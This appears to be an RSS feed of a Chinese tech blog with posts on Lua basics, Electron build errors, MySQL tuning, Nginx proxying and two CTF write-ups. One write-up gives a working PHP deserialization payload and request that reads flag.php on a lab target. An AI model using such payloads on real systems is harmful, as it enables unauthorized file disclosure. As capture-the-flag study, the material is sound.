BoyChai's Blog https://blog.boychai.xyz/ zh-CN BoyChai的博客,计算机网络爱好者,倾心于互联网发展 Wed, 17 Apr 2024 08:01:00 +0000 Wed, 17 Apr 2024 08:01:00 +0000 [Lua]快速入门 https://blog.boychai.xyz/index.php/archives/69/ https://blog.boychai.xyz/index.php/archives/69/ Wed, 17 Apr 2024 08:01:00 +0000 BoyChai Lua

概念

Lua是一种轻量、小巧的脚本语言,用标准的C语言编写并以源代码形式开发。设计目的是为了嵌入其他的程序中,从而为应用程序提供灵活的扩展和定制功能。

特性

和他语言相比,Lua有其自身的特点:
(1)轻量级

lua用标准C语言编写并以源代码形式开发,编译后仅仅一百余千字节,可以很方便的嵌入道其他程序中。

(2)可扩展

lua提供非常丰富易于使用的扩展接口和机制,由宿主语言(通常是C或C++)提供功能,lua可以使用它们,就像内置的功能一样。

(3)支持面向过程编程和函数式编程

应用场景

游戏开发、独立应用脚本、web应用脚本、扩展和数据库插件、系统安全上。

安装

官网: https://www.lua.org/

[root@work env]# wget https://www.lua.org/ftp/lua-5.4.6.tar.gz
[root@work env]# tar xvf lua-5.4.6.tar.gz 
[root@work lua-5.4.6]# make linux test
[root@work lua-5.4.6]# make install
cd src && mkdir -p /usr/local/bin /usr/local/include /usr/local/lib /usr/local/man/man1 /usr/local/share/lua/5.4 /usr/local/lib/lua/5.4
cd src && install -p -m 0755 lua luac /usr/local/bin
cd src && install -p -m 0644 lua.h luaconf.h lualib.h lauxlib.h lua.hpp /usr/local/include
cd src && install -p -m 0644 liblua.a /usr/local/lib
cd doc && install -p -m 0644 lua.1 luac.1 /usr/local/man/man1
[root@work lua-5.4.6]# lua -v
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio

语法

他的语法和C/C++语法非常相似,整体上比较清晰,简洁。条件语句、循环语句、函数调用都与C/C++基本一致。

交互式HelloWorld

[root@work env]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> print('hello world!!') 
hello world!!
> 

脚本式HelloWorld

第一种方式

[root@work ~]# mkdir lua_demo
[root@work ~]# cd lua_demo/
[root@work lua_demo]# vim hello.lua
[root@work lua_demo]# cat hello.lua 
print('hello world!!!')
[root@work lua_demo]# lua hello.lua 
hello world!!!

第二种方式

[root@work lua_demo]# vim hello.lua
[root@work lua_demo]# cat hello.lua 
#! /usr/local/bin/lua
print('hello world!!!')
[root@work lua_demo]# chmod +x hello.lua 
[root@work lua_demo]# ./hello.lua 
hello world!!!

注释

%% 单行注释 %%
-- print("111")
%% 多行注释 %%
--[[
    print("222")
--]]
%% 取消多行注释 %%
---[[
    print("222")
--]]

测试

[root@work lua_demo]# vim demo2.lua
[root@work lua_demo]# cat demo2.lua 
-- print("111")
--[[
    print("222")
--]]
---[[
    print("333")
--]]
[root@work lua_demo]# lua demo2.lua 
333

标识符

标识符就是变量名,Lua定义变量名以 一个字母A到Z或a到z或下划线_开头后加上0个或者多个字母,下划线,数字(0-9)。这块建议最好不要使用下划线加大写字母的标识符,因为Lua的保留字也是这样定义的,容易发生冲突。注意Lua是区分大小写字母的。

关键字

下面Lua的关键词,大家在定义常量、变量或其他用户定义标识符都要避免使用一下关键字

andbreakdoelse
elseifendfalsefor
functionifinlocal
nilnotorrepeat
returnthentrueuntil
whilegoto

一般约定,一以下划线开头连接一串大写字母的名字(比如_VERSION)被保留用于Lua内部全局变量。这个也是上面我们不建议这么定义标识符的原因

运算符

Lua中支持的运算符有算数运算符、关系运算符、逻辑运算符、其他运算符。

算数运算符

+ 加
- 减
* 乘
/ 除
% 取余
^ 乘幂
- 负号

关系运算符

== 等于
~= 不等于
> 大于
< 小于
>= 大于等于
<= 小于等于

逻辑运算符

and 与 同时true返回true 
or 或 一个true返回true
not 非 取反

其他运算符

.. 连接两个字符串
#  一元预算法,返回字符串或表的长度

例如

[root@work lua_demo]# lua 
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> 
> print('HELLO '..'WORLD') 
HELLO WORLD
> print(#'hello')         
5

全局变量&局部变量

在Lua语言中,全局变量无须声明即可使用。在默认情况下,变量总是认为是全局的,如果未提前赋值,默认为nil。如果想要声明一个局部变量需要使用local来声明。

[root@work lua_demo]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> b=10
> print(b)
10
> local a = 100
> print(a)
nil
> local a = 100; print(a)   
100
> 

数据类型

全部的类型

Lua有8个数据类型

nil(空,无效值)
boolean(布尔,true/false)
number(数值)
string(字符串)
function(函数)
table(表)
thread(线程)
userdata(数据用户)

可以使用type函数测试给定变量或者类型:

[root@work lua_demo]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> print(type(nil))
nil
> print(type("aaa"))
string
> 

nil

nil是一种只有一个nil值的类型,他的作用可以用来与其他所有值进行区分,也可以当想要移除一个变量时,只需要将该变量名赋值为nil,垃圾回收就会释放该变量所占用的内存。

boolean

boolean类型具有两个值,true和false。在Lua中,只会将false和nil视为假,其他都是真,特别是在条件检测中0和空字符串都会认为是真,这个和我们熟悉的大多语言不太一样。

number

在lua5.3开始,lua语言为数值格式提供了两种选择:integer(整型)和float(双精度浮点型)[和其他语言不太一样,floatu代表单精度类型],u不管是整形还是双精度浮点型,使用type()函数来取其类型,返回的都是number。还有就是他们之间是可以直接相互转换的。

string

Lua语言中的字符串可以标识单个字符,也可以标识一整本书籍。在Lua语言中,操作100k或者1M个字母组成的字符串的程序很常见。如果字符串数据很多可以这样写

a = [[
<html>
xxx
xxxx
xxx
</html>
]]

table

table是lua语言中最主要和强大的数据结构。使用表,Lua语言可以以一种简单、统一且高效的方式标识数组、合集、记录和其他很多数据结构。Lua语言中的表本质上是一种辅助数组。这种数组比Java中的数组更加灵活,可以使用数值做索引,也可以使用字符串或其他任意类型的值做索引(nil除外)

[root@work lua_demo]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> a = {}
> arr = {"TOM","JERRY","ROSE"}
> print(arr[0])  
nil
> print(arr[1])     
TOM
> print(arr[2]) 
JERRY
> print(arr[3]) 
ROSE
> arr={}
> arr["X"]=10
> arr["Y"]=20
> arr["Z"]=30
> print(arr["X"])
10
> print(arr["Y"])
20
> print(arr["Z"])
30
> arr.X
10
> arr.Y
20
> arr.Y
20
> arr={"TOM",X=10,"JERRY",Y=20,"ROSE",Z=30}
> arr[1]
TOM
> arr[2]
JERRY
> arr[3]
ROSE
> arr[4]
nil
> arr.X
10
> arr["X"]  
10
> arr.Z
30
> 

function

在Lua语言中,函数(Function)是对语句和表达式进行抽象的主要方式
定义函数:

function functionName(params)
    code
end

函数被调用的时候,传入的参数个数与定义函数时使用的参数个数不一致的时候,Lua会通过抛弃多余参数和将不足的参数设为nil的方式来调整数的个数。

[root@work lua_demo]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> function f(a,b)
>> print(a,b)
>> end
> f()
nil    nil
> f(2)
2    nil
> f(2,6)
2    6
> f(2,6,8)
2    6

可变参数

[root@work lua_demo]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> function add(...)
>> local a,b,c=...                   
>> print(a,b,c)
>> end
> add(1,2,3)
1    2    3
> add(1)  
1    nil    nil
> add(1,2,3,4,5,6)
1    2    3
> 

返回值

[root@work lua_demo]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> function add(a,b)
>> return b,a
>> end
> x,y=add(100,200)
> print(y) 
100
> print(x)
200
> 

控制结构

Lua语言提供了一组精简且常用的控制结构,包括用于条件执行的if以及用户循环的while、repeat和for。所有的控制语法上都有一个显示的终结符:end用于中介if、for以及while结构,until用于中介repeat结构。

if语句

if语句先测试其条件,并根据条件是否满足执行响应的then部分或else部分。else部分是可选的。

[root@work lua_demo]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> function testif(a)
>> if a>0 then
>> print("a是正数")
>> end
>> end
> testif(2)   
a是正数
> testif(1)
a是正数
> testif(-1)
> function testif(a)
>> if a>0 then
>> print("a是正数")
>> else
>> print("a是负数")
>> end
>> end
> testif(1) 
a是正数
> testif(-1)
a是负数
> 

嵌套IF相关案例如下

[root@work lua_demo]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> function show(age)    
>> if age <= 18 then
>> return "qingshaonian" 
>> elseif age>18 and age <=45 then
>> return "qingnian"
>> elseif age>45 and age <=60 then
>> return "zhongnianren"
>> else
>> return "laonianren" 
>> end
>> end
> print(show(17))              
qingshaonian
> print(show(19))
qingnian
> print(show(56))
zhongnianren
> print(show(80))
laonianren

while循环

语法如下

while 条件 do
    循环体
end

案例

[root@work lua_demo]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> function testwhile()
>> local i=1
>> while i<=10 do
>> print(i)
>> i=i+1
>> end
>> end
> testwhile()
1
2
3
4
5
6
7
8
9
10

repeat循环

repeat-until语句回重复执行其循环体直到条件为真时结束。由于条件测试在循环体之后执行,所以至少会循环执行一次。
语法如下

repeat
    循环体
until 条件

案例如下

[root@work lua_demo]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> function testRepeat()
>> local i = 10
>> repeat
>> print(i)
>> i=i-1
>> until i < 1
>> end
> testRepeat()
10
9
8
7
6
5
4
3
2
1

for循环

数值型

语法如下

for param=exp1,exp2,exp3 do
    循环体
end

param的值从exp1变化到exp2之前的每次循环会执行循环体,并在每次循环结束的时候步长,和python的for差不多。
案例如下

[root@work lua_demo]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> for i = 1,100,10 do 
>> print(i)
>> end
1
11
21
31
41
51
61
71
81
91
泛型

泛型for循环是通过一个迭代器函数来遍历所有的值,类似于java中的foreach语句
语法

for i,v in ipairs(x) do
    循环体
end

i是数组索引,v是对应索引的数组元素值,ipairs是Lua提供的一个迭代器函数,用来迭代数组,x是要遍历的数组。只后pairs也是Lua提供的夜歌迭代函数,他和ipairs的区别是pairs可以迭代一些指定键的table。
案例如下

[root@work lua_demo]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> arr = {"TOME","JERRY","ROWS","LUCY"}
> for i,v in ipairs(arr) do
>> print(i,v)
>> end
1    TOME
2    JERRY
3    ROWS
4    LUCY
[root@work lua_demo]# lua
Lua 5.4.6  Copyright (C) 1994-2023 Lua.org, PUC-Rio
> arr = {"TOM","JERRY","ROSES",x="JACK","LUCY"}
> function testfor(arr)
>> for i,v in pairs(arr) do 
>> print(i,v)
>> end
>> end
> testfor(arr)
1    TOM
2    JERRY
3    ROSES
4    LUCY
x    JACK
]]>
0 https://blog.boychai.xyz/index.php/archives/69/#comments https://blog.boychai.xyz/index.php/feed/
[排错笔记]Vue3+Electron构建报错 https://blog.boychai.xyz/index.php/archives/68/ https://blog.boychai.xyz/index.php/archives/68/ Mon, 19 Feb 2024 15:25:00 +0000 BoyChai 使用环境
"Node":"21.6.2"
"@vue/cli-service": "~5.0.0",
"electron": "^13.0.0",

问题一

报错

background.js from Terser
Error: error:0308010C:digital envelope routines::unsupported
    at new Hash (node:internal/crypto/hash:68:19)
    at Object.createHash (node:crypto:138:10)
    at E:\前端\assist\node_modules\vue-cli-plugin-electron-builder\node_modules\webpack\node_modules\terser-webpack-plugin\dist\index.js:217:37
    at Array.forEach (<anonymous>)
    at TerserPlugin.optimizeFn (E:\前端\assist\node_modules\vue-cli-plugin-electron-builder\node_modules\webpack\node_modules\terser-webpack-plugin\dist\index.js:160:259)
    at _next0 (eval at create (E:\前端\assist\node_modules\vue-cli-plugin-electron-builder\node_modules\tapable\lib\HookCodeFactory.js:33:10), <anonymous>:8:1)
    at eval (eval at create (E:\前端\assist\node_modules\vue-cli-plugin-electron-builder\node_modules\tapable\lib\HookCodeFactory.js:33:10), <anonymous>:23:1)
    at processTicksAndRejections (node:internal/process/task_queues:95:5)

原因

用了高版本的node.js

解决

给NODE_OPTIONS添加环境变量--openssl-legacy-provider,低版本的不需要,默认忽略ssl验证

set NODE_OPTIONS=--openssl-legacy-provider

问题二

报错

Error output:
!include: could not find: "E:\前端\assist\node_modules\app-builder-lib\templates\nsis\include\StdUtils.nsh"
Error in script "<stdin>" on line 1 -- aborting creation process

    at ChildProcess.<anonymous> (E:\前端\assist\node_modules\builder-util\src\util.ts:250:14)
    at Object.onceWrapper (node:events:634:26)
    at ChildProcess.emit (node:events:519:28)
    at ChildProcess.cp.emit (E:\前端\assist\node_modules\builder-util\node_modules\cross-spawn\lib\enoent.js:34:29)
    at maybeClose (node:internal/child_process:1105:16)
    at Process.ChildProcess._handle.onexit (node:internal/child_process:305:5) {
  exitCode: 1,
  alreadyLogged: false,
  code: 'ERR_ELECTRON_BUILDER_CANNOT_EXECUTE'
}

原因

路径有中文路径

解决

切换项目目录给copy到个全英路径的位置

问题三

报错

打开页面全白

原因

路由模式用的history

解决

路由模式切换成hash模式

问题四

报错



<router-view>标签不生效

原因

不清楚为什么会这样 反正我这个版本打包后 electron不会进入”/“路径下 但是在本地访问的时候会

解决

在App.vue中直接push到/

import { useRouter } from "vue-router";

const router = useRouter();
router.push(`/`);

要注意的是router.back();路由跳转我这边也不生效了,需要都替换成push('/')

问题五

报错

 • cannot get, wait  error=Get "https://service.electron.build/find-build-agent?no-cache=1it6rqj": dial tcp 51.15.76.176:443: connectex: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.
                      attempt=0
                      waitTime=2
  • cannot get, wait  error=Get "https://service.electron.build/find-build-agent?no-cache=1it6rqj": dial tcp 51.15.76.176:443: connectex: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.
                      attempt=1
                      waitTime=4
  • cannot get, wait  error=Get "https://service.electron.build/find-build-agent?no-cache=1it6rqj": dial tcp 51.15.76.176:443: connectex: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.
                      attempt=2
                      waitTime=6
  ⨯ Get "https://service.electron.build/find-build-agent?no-cache=1it6rqj": dial tcp 51.15.76.176:443: connectex: A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.

win跨平台构建linux从service.electron.build下载资源失败,换代理也没用

原因

这个站点service.electron.build似乎在2020年就关闭,一直也没人来修这个玩意

解决

换linux主机构建或者采用docker的容器进行构建
ISSUES:https://github.com/electron-userland/electron-build-service/issues/9

]]>
0 https://blog.boychai.xyz/index.php/archives/68/#comments https://blog.boychai.xyz/index.php/feed/
[代码审计]网鼎杯_2020_青龙组_AreUSerialz https://blog.boychai.xyz/index.php/archives/67/ https://blog.boychai.xyz/index.php/archives/67/ Mon, 16 Oct 2023 02:16:00 +0000 BoyChai 题目

buuoj-网鼎杯_2020_青龙组_AreUSerialz

源码

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

分析

一看这个题目就是一道反序列的题目,上面定义了一个FileHandler类,之后定义了一个is_valid方法,这个方法的目的是过滤字符串,ord函数是转换ASCII码,32-125区间基本上就是所有字母数字和符号了,之后最后面这个是get获取一个str的值,之后检测是否是字符串,之后把字符串进行序列化。接下来详细看看FileHandler类:


class FileHandler {
    protected $op;
    protected $filename;
    protected $content;
    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }
    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
}

分析了一下代码,output、read、write方法都需要通过process方法来触发,output代码如下

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

很简单没啥好说的,就是输出传入的内容。read方法代码如下,

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

是去调用file_get_contents方法来读取filename变量里的文件,之后返回读取的内容。再看看write方法

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

显示content不能大于100的长度,之后将content的内容写入filename,写入之后输出Successful!否则都是Failed!,再看看process方法

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

如果op=1则会进行写内容,如果等于2回去执行read()方法之后输出读取的内容,否则就输出"Bad Hacker!"。分析完基本的函数之后可以知道三个变量的作用

    protected $op;
    protected $filename;
    protected $content;

op是用来定义操作模式的,1是写2是读,filename是文件名称文件位置,content是写入时的内容。再看看两个魔法函数__construct()是构造函数__destruct()销毁函数,销毁的时候会触发。构造函数在这里没用主要看这个销毁函数,代码如下

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

也没啥东西,这里有个误导,就是里面的那个判断,他这个判断是三个等号的,会先判断类型,他这里判断的是字符串的2,之后content传入什么都无所谓了,剩下的就会交给process处理。

解题

分析完代码思路就清晰了,我们需要反序列化出一个FileHandler,内容op需要等于2,filename需要等于flag.php即可拿到falg。解题方式如下

<?php
class FileHandler
{
    public $op = 2;
    public $filename = "flag.php";
    public $content = "xd";
}
$a = new FileHandler();
$flag= serialize($a);
echo $flag;
/// output
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"xd";}

之后请求
http://7952a287-fef7-4773-9245-e58b63cba8f5.node4.buuoj.cn:81/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:8:%22flag.php%22;s:7:%22content%22;s:2:%22xd%22;}
网页显示返回为空直接查看源代码拿到flag
?php $flag='flag{a0ad20b0-919b-479a-b2e8-78afe8be30cc};

补充

为什么不使用protected来序列化?
PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过
private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。
作者:很菜的wl https://www.bilibili.com/read/cv18129820/ 出处:bilibili

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0 https://blog.boychai.xyz/index.php/archives/67/#comments https://blog.boychai.xyz/index.php/feed/
[代码审计]攻防世界-simple_js https://blog.boychai.xyz/index.php/archives/65/ https://blog.boychai.xyz/index.php/archives/65/ Sun, 08 Oct 2023 01:26:00 +0000 BoyChai 题目叫做simple_js,题目描述为

小宁发现了一个网页,但却一直输不对密码。(Flag格式为 Cyberpeace{xxxxxxxxx} )

打开网页之后是一个输入密码的框,自己随便输入点内容页面显示FAUX PASSWORD HAHA,自己肯定时没密码的,直接看源代码,核心代码如下

function dechiffre(pass_enc){
    var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
    var tab  = pass_enc.split(',');
            var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
                    k = j + (l) + (n=0);
                    n = tab2.length;
                    for(i = (o=0); i < (k = j = n); i++ ){o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
                            if(i == 5)break;}
                    for(i = (o=0); i < (k = j = n); i++ ){
                    o = tab[i-l];
                            if(i > 5 && i < k-1)
                                    p += String.fromCharCode((o = tab2[i]));
                    }
    p += String.fromCharCode(tab2[17]);
    pass = p;return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));

h = window.prompt('Enter password');
alert( dechiffre(h) );

上面定义了一个dechiffre(pass_enc)的函数,String["fromCharCode"](dechifre("xxx"))这个是把ASCII内容转换成字符串。剩下的就是打开页面之后都会出现的内容,参考意义不大,这里直接分析上面的这个函数
函数里面先定义了一个pass,内容如下

70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65

大概率就是ASCII码,之后又定义了一个tab,内容如下

var tab  = pass_enc.split(',');

pass_enc是传入的值,通过split(',')进行切割,现在tab是一个数组,之后定义了一个tab2,内容如下

var tab2 = pass.split(',');

对pass进行分割现在tab2也是个数组,之后定义了其他的一些变量,如下

var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;k = j + (l) + (n=0);n = tab2.length;

这里真是懵,最开始看的时候以为i,j,k,l都是0,一想不对。。。
最开始ijkmno都应该是undefined
之后i又被赋值了0,j被赋值了tab变量的长度,最后就是
k,m,oundefined之后i=0l=0p=""j=tab.lengthk=tab.lengthn=tab2.length,赋完值之后进行了一个for循环,代码如下

for(i = (o=0); i < (k = j = n); i++ ){
    o = tab[i-l];
    p += String.fromCharCode((o = tab2[i]));
    if(i == 5)break;
}
// 精简过后代码如下
for(i=0;i<tab2.length;i++){
//    o=tab[i];  
    p += String.fromCharCode(tab2[i]);
    if(i==5)break;
}

p += String.fromCharCode(tab2[i]);这段主要是这个代码,之后又经过了一个for循环,代码如下

for(i = (o=0); i < (k = j = n); i++ ){
    o = tab[i-l];
    if(i > 5 && i < k-1)
    p += String.fromCharCode((o = tab2[i]));
}
// 精简过后代码如下
for(i=0;i<tab2.length;i++){
//    o = tab[i]
    if (i>5&&i<(tab.length-1))p + = String.fromCharCode(tab2[i]);
}

p += String.fromCharCode(tab2[i]);这段主要是这个代码,和上段基本一样,方法最后返回下面内容

    p += String.fromCharCode(tab2[17]);
    pass = p;return pass;

他把tab2的第17个值转换成了字符串,并返回了p,这代码这是在闹着玩,弄到底也没处理传入的值,我服了😅,这代码的主要的作用就是把上面的ASCII转换成字符,直接转换pass变量发现内容为FAUX PASSWORD HAHA,看样子知道题目的答案就是把传入函数的那传Hex编码转换成字符串

\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30

转换之后变成这样

55,56,54,79,115,69,114,116,107,49,50

转换成字符串变成这样

786OsErtk12

这道题目的答案即

Cyberpeace{786OsErtk12}
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0 https://blog.boychai.xyz/index.php/archives/65/#comments https://blog.boychai.xyz/index.php/feed/
[MYSQL]SQL优化 https://blog.boychai.xyz/index.php/archives/64/ https://blog.boychai.xyz/index.php/archives/64/ Tue, 05 Sep 2023 04:51:00 +0000 BoyChai 插入数据
  • 批量插入数据推荐使用下面语句
INSERT INTO 表名(字段1,字段2,......) VALUES (值1,值2,......),(值1,值2,......),(值1,值2,......);
  • 如果数据量过于庞大,数据条数大于1000推荐使用文件导入的方式进行插入,方法如下
## 登录mysql的时候需要添加--local-infile参数
mysql --local-infile -u root -p
## 登录之后设置local_infile为1,开启从本地加载文件导入数据的开关
set global local_infile=1;
## 使用load命令导入数据
load data local infile '文件' into table `表名` fields terminated by `文件里面的分隔符` lines terminated by '\n';

文件里面的内容格式如下

1,a,b,c
2,b,c,d

PS:主键顺序插入性能高于乱序插入

主键优化

  • 数据组织方式

在InnoDB存储引擎中,表数据都是根据逐渐顺序组织存放的,这种存储方式的表成为索引组织表(index organized table IOT)

  • 页分裂

页可以为空 ,也可以填充一半,也可以填充100%。每个页包含了2-N行数据(如果 一行数据多大,会溢出),根据主键排列。

  • 页合并

当删除一条记录时,实际上记录并没有被物理删除,只是被标记(flaged)为啥暗处并且他的空间变得允许被其他记录声明使用。当页面中删除的记录达到MERGE_THRESHOLD(默认为页的50%),InnoDB会开始寻找最靠近的页(前或后)看看是否可以将两个页合并已优化空间使用。

  • 主键设置原则
  1. 满足业务要求的情况下,尽量降低主键长度。
  2. 插入数据的时,尽量选择顺序插入,选择使用AUTO_INCREMENT自增主键。
  3. 尽量不要使用UUID做主键或者是其他自然主键,如身份证。
  4. 业务操作时,避免对主键的修改。

order by优化

  • Using filesort

通过表的索引或全表扫描,读取满足条件的数据行,然后在排序缓冲区sort buffer中完成排序操作,所有不是通过索引直接返回排序结果的排序都叫FileSort排序。

  • Using index

通过有序索引顺序扫描直接返回有序数据,这种情况即为using index,不需要额外排序,操作效率更高。

  • 优化
  1. 根据排序字段建立合适的索引,多字段排序时,也遵循最左前缀法则。
  2. 尽量使用覆盖索引。
  3. 多字段排序,一个升序一个降序,此时需要注意联合索引在创建时的规则(ASC/DESC)
  4. 如果不可避免出现filesort,大数据量排序时,可以适当增大排序缓冲区大小sort_buffer_size(默认256k)。

group by优化

  • 分组操作时,可以通过索引来提高效率。
  • 分组操作时,索引的使用也是满足最左前缀法则的。

limit优化

一般分页查询时,通过创建 覆盖索引 能够比较好的提高性能,可以通过覆盖索引加子查询形式进行优化。

count优化

  • 在MyISAM引擎把一个表的总行数存在了磁盘上,因此执行count(*)的时候会直接返回这个数,效率很高。
  • InnoDB引擎就麻烦了,他执行count(*)的时候,需要把数据一行一行的从引擎里面读出来,让后累计计数。
  • count(主键)

InnoDB引擎会遍历整张表,把每一行的主键id值都取出来,返回给服务层。服务层拿到主键后,直接按行累加(主键不可能为null)。

  • count(字段)

没有not null约束时: InnoDB疫情会便利整张表把每一行的字段值都取出来,返回给服务层,服务层判断是否为null,不为null,计数累加。

有not null约束时: InnoDB疫情会便利整张表把每一行的字段值都取出来,返回给服务层们直接按行进行累加。

  • count(1)

InnoDB疫情遍历整张表,但不取值。服务层对于返回的每一行,放一个数字“1”进去,直接按行累加。

  • count(*)

InnoDB疫情并不会把全部字段取出来,而是专门做了优化,不取值,服务层直接按行进行累加。

  • 优化方案

    1. 可以自己做count,使用缓存数据库做这类工作。
    2. 按照效率排序的话,count(字段)<count(主键)<count(1)≈count(*),所以尽量使用count(*)。

update优化

InnoDB的行锁是针对索引加的锁,不是针对记录家的锁,并且该索引不能失效,否则会从行锁升级为表锁。规避这种情况就需要在对应字段创建索引。

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[资源]容器镜像代理站、加速站收集 https://blog.boychai.xyz/index.php/archives/63/ https://blog.boychai.xyz/index.php/archives/63/ Wed, 30 Aug 2023 07:25:40 +0000 BoyChai 0 https://blog.boychai.xyz/index.php/archives/63/#comments https://blog.boychai.xyz/index.php/feed/ [排错笔记]Ingress-Nginx传递用户真实ip问题 https://blog.boychai.xyz/index.php/archives/62/ https://blog.boychai.xyz/index.php/archives/62/ Fri, 25 Aug 2023 13:53:00 +0000 BoyChai 引入问题

我的K8s环境是宿主机的hyper-v虚拟出来的,如果要映射到外面则还需要再我的宿主机上面再做一层反代,我采用的是nginx,当ingress整好之后,我从我从我腾讯云上复制了一段nginx配置放到了我的宿主机,主要配置如下:

location /test/ {
       proxy_pass http://kubernetes.boychai.xyz/test/;
       proxy_set_header Host $host;
       proxy_set_header X-Real-IP $remote_addr; 
       proxy_set_header REMOTE-HOST $remote_addr;
       proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}

为了防止传入的ip是代理主机的ip我这里设置了Host、X-Real-IP、REMOTE-HOST、X-Forwarded-For。经过测试之后发现使用宿主机配置的代理访问时返回404,在宿主机上直接却没问题。

访问问题

日志

我去查看了宿主机的nginx日志、ingress-nginx-controller日志、应用程序的日志,发现除了宿主机的nginx均没有日志记录,宿主机日志信息如下

111.180.204.54 - - [25/Aug/2023:22:12:21 +0800] "GET /test/ HTTP/1.1" 404 548 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36"

除了这一条之外其他的日志均无404。

解决

看到日志之后有点懵,因为我的宿主机是可以直接访问ingress暴露出来的服务的,而且没有报错正常访问,我是用反代之后就报错404,我最开始以为这个404就是我宿主机报的,但是宿主机的404默认页面会返回nginx的版本,如下图

